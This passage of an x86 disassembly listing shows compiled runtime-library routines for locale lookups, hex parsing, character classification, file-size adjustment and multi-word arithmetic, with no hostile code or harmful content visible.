dword_4E9490, eax nop call near ptr 2730903h mov dword_4E9494, eax mov ecx, dword_4E9494 mov dword_4E9478, ecx pop ebp retn sub_4378E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437910 proc near ; CODE XREF: sub_436FC0+128p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jz short loc_43793B mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_43793B push offset off_43FE00 mov edx, [ebp+arg_0] push edx call sub_422740 add esp, 8 test eax, eax jnz short loc_437963 loc_43793B: ; CODE XREF: sub_437910+Aj ; sub_437910+14j push 8 lea eax, [ebp+var_8] push eax push 1004h mov ecx, dword_4E9494 push ecx call dword_4E9498 test eax, eax jnz short loc_43795B xor eax, eax jmp short loc_4379A7 ; --------------------------------------------------------------------------- loc_43795B: ; CODE XREF: sub_437910+45j lea edx, [ebp+var_8] mov [ebp+arg_0], edx jmp short loc_43799B ; --------------------------------------------------------------------------- loc_437963: ; CODE XREF: sub_437910+29j push offset off_43FDFC mov eax, [ebp+arg_0] push eax call sub_422740 add esp, 8 test eax, eax jnz short loc_43799B push 8 lea ecx, [ebp+var_8] push ecx push 0Bh mov edx, dword_4E9494 push edx call dword_4E9498 test eax, eax jnz short loc_437995 xor eax, eax jmp short loc_4379A7 ; --------------------------------------------------------------------------- loc_437995: ; CODE XREF: sub_437910+7Fj lea eax, [ebp+var_8] mov [ebp+arg_0], eax loc_43799B: ; CODE XREF: sub_437910+51j ; sub_437910+66j mov ecx, [ebp+arg_0] push ecx call sub_421570 add esp, 4 loc_4379A7: ; CODE XREF: sub_437910+49j ; sub_437910+83j mov esp, ebp pop ebp retn sub_437910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4379B0 proc near ; CODE XREF: sub_437310+16Ep ; sub_437830+6Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 8 mov ax, [ebp+arg_0] mov word ptr [ebp+var_4], ax mov [ebp+var_8], 0 jmp short loc_4379D0 ; --------------------------------------------------------------------------- loc_4379C7: ; CODE XREF: sub_4379B0:loc_4379F4j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx loc_4379D0: ; CODE XREF: sub_4379B0+15j cmp [ebp+var_8], 0Ah jnb short loc_4379F6 mov edx, [ebp+var_4] and edx, 0FFFFh mov eax, [ebp+var_8] xor ecx, ecx mov cx, word_453044[eax*2] cmp edx, ecx jnz short loc_4379F4 xor eax, eax jmp short loc_4379FB ; --------------------------------------------------------------------------- loc_4379F4: ; CODE XREF: sub_4379B0+3Ej jmp short loc_4379C7 ; --------------------------------------------------------------------------- loc_4379F6: ; CODE XREF: sub_4379B0+24j mov eax, 1 loc_4379FB: ; CODE XREF: sub_4379B0+42j mov esp, ebp pop ebp retn sub_4379B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437A00 proc near ; CODE XREF: sub_437310+260p ; sub_437310+2E6p ... var_7C = byte ptr -7Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7Ch push esi mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 3FFh and eax, 0FFFFh or ah, 4 and eax, 0FFFFh mov [ebp+var_4], eax push 78h lea ecx, [ebp+var_7C] push ecx push 1 mov edx, [ebp+var_4] push edx call dword_4E9498 test eax, eax jnz short loc_437A3E xor eax, eax jmp short loc_437A82 ; --------------------------------------------------------------------------- loc_437A3E: ; CODE XREF: sub_437A00+38j lea eax, [ebp+var_7C] push eax call sub_437C70 add esp, 4 cmp [ebp+arg_0], eax jz short loc_437A7D cmp [ebp+arg_4], 0 jz short loc_437A7D mov ecx, dword_4E9488 push ecx call sub_437CF0 add esp, 4 mov esi, eax mov edx, dword_4E9488 push edx call sub_41EBD0 add esp, 4 cmp esi, eax jnz short loc_437A7D xor eax, eax jmp short loc_437A82 ; --------------------------------------------------------------------------- loc_437A7D: ; CODE XREF: sub_437A00+4Dj ; sub_437A00+53j ... mov eax, 1 loc_437A82: ; CODE XREF: sub_437A00+3Cj ; sub_437A00+7Bj pop esi mov esp, ebp pop ebp retn sub_437A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437A90 proc near ; CODE XREF: sub_436FC0+Fp var_98 = dword ptr -98h var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 98h mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax nop call near ptr 27F0576h test eax, eax jz short loc_437AC9 cmp [ebp+var_84], 2 jnz short loc_437AC9 mov [ebp+var_98], 1 jmp short loc_437AD3 ; --------------------------------------------------------------------------- loc_437AC9: ; CODE XREF: sub_437A90+22j ; sub_437A90+2Bj mov [ebp+var_98], 0 loc_437AD3: ; CODE XREF: sub_437A90+37j mov eax, [ebp+var_98] mov esp, ebp pop ebp retn sub_437A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437AE0 proc near ; DATA XREF: sub_436FC0:loc_436FE2o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0 mov [ebp+var_4], 1Ah mov [ebp+var_8], 0 loc_437AFB: ; CODE XREF: sub_437AE0:loc_437C43j mov eax, [ebp+var_10] cmp eax, [ebp+var_4] jg loc_437C48 mov eax, [ebp+var_10] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] imul ecx, 2Ch mov edx, [ebp+arg_0] cmp edx, dword_452BA0[ecx] jnz loc_437C1E mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+var_14], 0Bh ja short loc_437B57 cmp [ebp+var_14], 0Bh jz loc_437BC9 cmp [ebp+var_14], 1 jz short loc_437B74 cmp [ebp+var_14], 3 jz short loc_437B96 cmp [ebp+var_14], 7 jz short loc_437BB8 jmp loc_437BE8 ; --------------------------------------------------------------------------- loc_437B57: ; CODE XREF: sub_437AE0+54j cmp [ebp+var_14], 1001h jz short loc_437B85 cmp [ebp+var_14], 1002h jz short loc_437BA7 cmp [ebp+var_14], 1004h jz short loc_437BDA jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437B74: ; CODE XREF: sub_437AE0+64j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset a040a ; "040a" mov [ebp+var_8], ecx jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437B85: ; CODE XREF: sub_437AE0+7Ej mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_452BAC[edx] mov [ebp+var_8], eax jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437B96: ; CODE XREF: sub_437AE0+6Aj mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_452BB0 mov [ebp+var_8], ecx jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437BA7: ; CODE XREF: sub_437AE0+87j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, off_452BB4[edx] mov [ebp+var_8], eax jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437BB8: ; CODE XREF: sub_437AE0+70j mov ecx, [ebp+var_C] imul ecx, 2Ch add ecx, offset off_452BB8 mov [ebp+var_8], ecx jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437BC9: ; CODE XREF: sub_437AE0+5Aj mov edx, [ebp+var_C] imul edx, 2Ch add edx, offset dword_452BBC mov [ebp+var_8], edx jmp short loc_437BE8 ; --------------------------------------------------------------------------- loc_437BDA: ; CODE XREF: sub_437AE0+90j mov eax, [ebp+var_C] imul eax, 2Ch add eax, offset a1252 ; "1252" mov [ebp+var_8], eax loc_437BE8: ; CODE XREF: sub_437AE0+72j ; sub_437AE0+92j ... cmp [ebp+var_8], 0 jz short loc_437BF4 cmp [ebp+arg_C], 1 jge short loc_437BF6 loc_437BF4: ; CODE XREF: sub_437AE0+10Cj jmp short loc_437C48 ; --------------------------------------------------------------------------- loc_437BF6: ; CODE XREF: sub_437AE0+112j mov ecx, [ebp+arg_C] sub ecx, 1 push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_8] push eax call sub_421470 add esp, 0Ch mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov byte ptr [ecx-1], 0 mov eax, 1 jmp short loc_437C5E ; --------------------------------------------------------------------------- loc_437C1E: ; CODE XREF: sub_437AE0+44j mov edx, [ebp+var_C] imul edx, 2Ch mov eax, [ebp+arg_0] cmp eax, dword_452BA0[edx] jnb short loc_437C3A mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_437C43 ; --------------------------------------------------------------------------- loc_437C3A: ; CODE XREF: sub_437AE0+14Dj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_10], edx loc_437C43: ; CODE XREF: sub_437AE0+158j jmp loc_437AFB ; --------------------------------------------------------------------------- loc_437C48: ; CODE XREF: sub_437AE0+21j ; sub_437AE0:loc_437BF4j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax nop call near ptr 27F0000h loc_437C5E: ; CODE XREF: sub_437AE0+13Cj mov esp, ebp pop ebp retn 10h sub_437AE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437C70 proc near ; CODE XREF: sub_437310+Ap ; sub_4376C0+Ap ... var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 loc_437C7D: ; CODE XREF: sub_437C70+6Dj mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl movsx edx, [ebp+var_8] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jz short loc_437CDF movsx ecx, [ebp+var_8] cmp ecx, 61h jl short loc_437CB2 movsx edx, [ebp+var_8] cmp edx, 66h jg short loc_437CB2 mov al, [ebp+var_8] add al, 0D9h mov [ebp+var_8], al jmp short loc_437CCC ; --------------------------------------------------------------------------- loc_437CB2: ; CODE XREF: sub_437C70+2Dj ; sub_437C70+36j movsx ecx, [ebp+var_8] cmp ecx, 41h jl short loc_437CCC movsx edx, [ebp+var_8] cmp edx, 46h jg short loc_437CCC mov al, [ebp+var_8] add al, 0F9h mov [ebp+var_8], al loc_437CCC: ; CODE XREF: sub_437C70+40j ; sub_437C70+49j ... mov ecx, [ebp+var_4] shl ecx, 4 movsx edx, [ebp+var_8] lea eax, [ecx+edx-30h] mov [ebp+var_4], eax jmp short loc_437C7D ; --------------------------------------------------------------------------- loc_437CDF: ; CODE XREF: sub_437C70+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_437C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437CF0 proc near ; CODE XREF: sub_437250+60p ; sub_437640+39p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_4], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_437D0E: ; CODE XREF: sub_437CF0+5Cj movsx eax, [ebp+var_4] cmp eax, 41h jl short loc_437D20 movsx ecx, [ebp+var_4] cmp ecx, 5Ah jle short loc_437D32 loc_437D20: ; CODE XREF: sub_437CF0+25j movsx edx, [ebp+var_4] cmp edx, 61h jl short loc_437D4E movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_437D4E loc_437D32: ; CODE XREF: sub_437CF0+2Ej mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx jmp short loc_437D0E ; --------------------------------------------------------------------------- loc_437D4E: ; CODE XREF: sub_437CF0+37j ; sub_437CF0+40j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_437CF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437E60 proc near ; CODE XREF: sub_431830+4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_437EE0 add esp, 0Ch pop ebp retn sub_437E60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4E96AC, 3A4h jnz short loc_437ECD push 3 push 0 mov eax, [ebp+8] push eax call sub_437EE0 add esp, 0Ch test eax, eax jz short loc_437ECD mov dword ptr [ebp-4], 1 jmp short loc_437ED4 ; --------------------------------------------------------------------------- loc_437ECD: ; CODE XREF: .XComp0:00437EAEj ; .XComp0:00437EC2j mov dword ptr [ebp-4], 0 loc_437ED4: ; CODE XREF: .XComp0:00437ECBj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437EE0 proc near ; CODE XREF: .XComp0:00437D6Bp ; .XComp0:00437D8Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_4E97C1[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_437F34 cmp [ebp+arg_4], 0 jz short loc_437F1E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word_4522EE[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_437F25 ; --------------------------------------------------------------------------- loc_437F1E: ; CODE XREF: sub_437EE0+27j mov [ebp+var_4], 0 loc_437F25: ; CODE XREF: sub_437EE0+3Cj cmp [ebp+var_4], 0 jnz short loc_437F34 mov [ebp+var_8], 0 jmp short loc_437F3B ; --------------------------------------------------------------------------- loc_437F34: ; CODE XREF: sub_437EE0+21j ; sub_437EE0+49j mov [ebp+var_8], 1 loc_437F3B: ; CODE XREF: sub_437EE0+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_437EE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4E96A0 jnb short loc_437F81 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4E95A0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_437F91 loc_437F81: ; CODE XREF: .XComp0:00437F5Dj call sub_42C1E0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_437FBF ; --------------------------------------------------------------------------- loc_437F91: ; CODE XREF: .XComp0:00437F7Fj mov edx, [ebp+8] push edx call sub_4336D0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_437FD0 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_433760 add esp, 4 mov eax, [ebp-4] loc_437FBF: ; CODE XREF: .XComp0:00437F8Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437FD0 proc near ; CODE XREF: sub_433B40+44Cp ; .XComp0:00437FA5p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_421EE0 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_437FF6: ; CODE XREF: sub_437FD0+51j cmp [ebp+arg_4], 0 jge short loc_43801D push offset dword_43FE10 push 0 push 81h push offset dword_43FE04 push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_43801D int 3 ; Trap to Debugger loc_43801D: ; CODE XREF: sub_437FD0+2Aj ; sub_437FD0+4Aj xor ecx, ecx test ecx, ecx jnz short loc_437FF6 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_430180 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_438061 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_430180 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_438069 loc_438061: ; CODE XREF: sub_437FD0+70j or eax, 0FFFFFFFFh jmp loc_4381F9 ; --------------------------------------------------------------------------- loc_438069: ; CODE XREF: sub_437FD0+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_438180 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_421410 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_43B180 add esp, 8 mov [ebp+var_4], eax loc_4380AF: ; CODE XREF: sub_437FD0+198j cmp [ebp+var_1018], 1000h jl short loc_4380C7 mov [ebp+var_1020], 1000h jmp short loc_4380D3 ; --------------------------------------------------------------------------- loc_4380C7: ; CODE XREF: sub_437FD0+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_4380D3: ; CODE XREF: sub_437FD0+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_4380F7 mov [ebp+var_1024], 1000h jmp short loc_438103 ; --------------------------------------------------------------------------- loc_4380F7: ; CODE XREF: sub_437FD0+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_438103: ; CODE XREF: sub_437FD0+125j mov ecx, [ebp+var_1024] push ecx mov edx, [ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_4305E0 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_43814F call sub_42C1F0 cmp dword ptr [eax], 5 jnz short loc_438141 call sub_42C1E0 mov dword ptr [eax], 0Dh loc_438141: ; CODE XREF: sub_437FD0+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_43816E ; --------------------------------------------------------------------------- loc_43814F: ; CODE XREF: sub_437FD0+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_4380AF loc_43816E: ; CODE XREF: sub_437FD0+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_43B180 add esp, 8 jmp short loc_4381DE ; --------------------------------------------------------------------------- loc_438180: ; CODE XREF: sub_437FD0+AFj cmp [ebp+var_1018], 0 jge short loc_4381DE push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_430180 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_433550 add esp, 4 push eax nop call near ptr 2730000h neg eax sbb eax, eax neg eax dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_4381DE call sub_42C1E0 mov dword ptr [eax], 0Dh nop call near ptr 27A0A66h mov esi, eax call sub_42C1F0 mov [eax], esi loc_4381DE: ; CODE XREF: sub_437FD0+1AEj ; sub_437FD0+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_430180 add esp, 0Ch mov eax, [ebp+var_101C] loc_4381F9: ; CODE XREF: sub_437FD0+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_437FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438200 proc near ; CODE XREF: sub_434EE0+53p ; sub_434EE0+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_438226 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_43822F loc_438226: ; CODE XREF: sub_438200+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_43822F: ; CODE XREF: sub_438200+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_438200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438240 proc near ; CODE XREF: sub_4383C0+77p ; sub_4383C0+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_438200 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_438297 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_438200 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_438297 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_438297: ; CODE XREF: sub_438240+25j ; sub_438240+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_438200 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4382CC mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_4382CC: ; CODE XREF: sub_438240+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_438200 add esp, 0Ch mov esp, ebp pop ebp retn sub_438240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4382F0 proc near ; CODE XREF: sub_4383C0+5Bp ; sub_4383C0+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_4382F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438350 proc near ; CODE XREF: sub_439080+382p ; sub_43B250+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_438350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4383C0 proc near ; CODE XREF: sub_438500+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_4383FD ; --------------------------------------------------------------------------- loc_4383EB: ; CODE XREF: sub_4383C0+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4383FD: ; CODE XREF: sub_4383C0+29j cmp [ebp+arg_4], 0 jbe short loc_438477 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_4382F0 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_4382F0 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_438240 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_4382F0 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_438240 add esp, 8 jmp loc_4383EB ; --------------------------------------------------------------------------- loc_438477: ; CODE XREF: sub_4383C0+41j ; sub_4383C0+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_4384C3 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_438477 ; --------------------------------------------------------------------------- loc_4384C3: ; CODE XREF: sub_4383C0+BEj ; sub_4383C0+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_4384EC mov ecx, [ebp+arg_8] push ecx call sub_4382F0 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_4384C3 ; --------------------------------------------------------------------------- loc_4384EC: ; CODE XREF: sub_4383C0+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_4383C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E 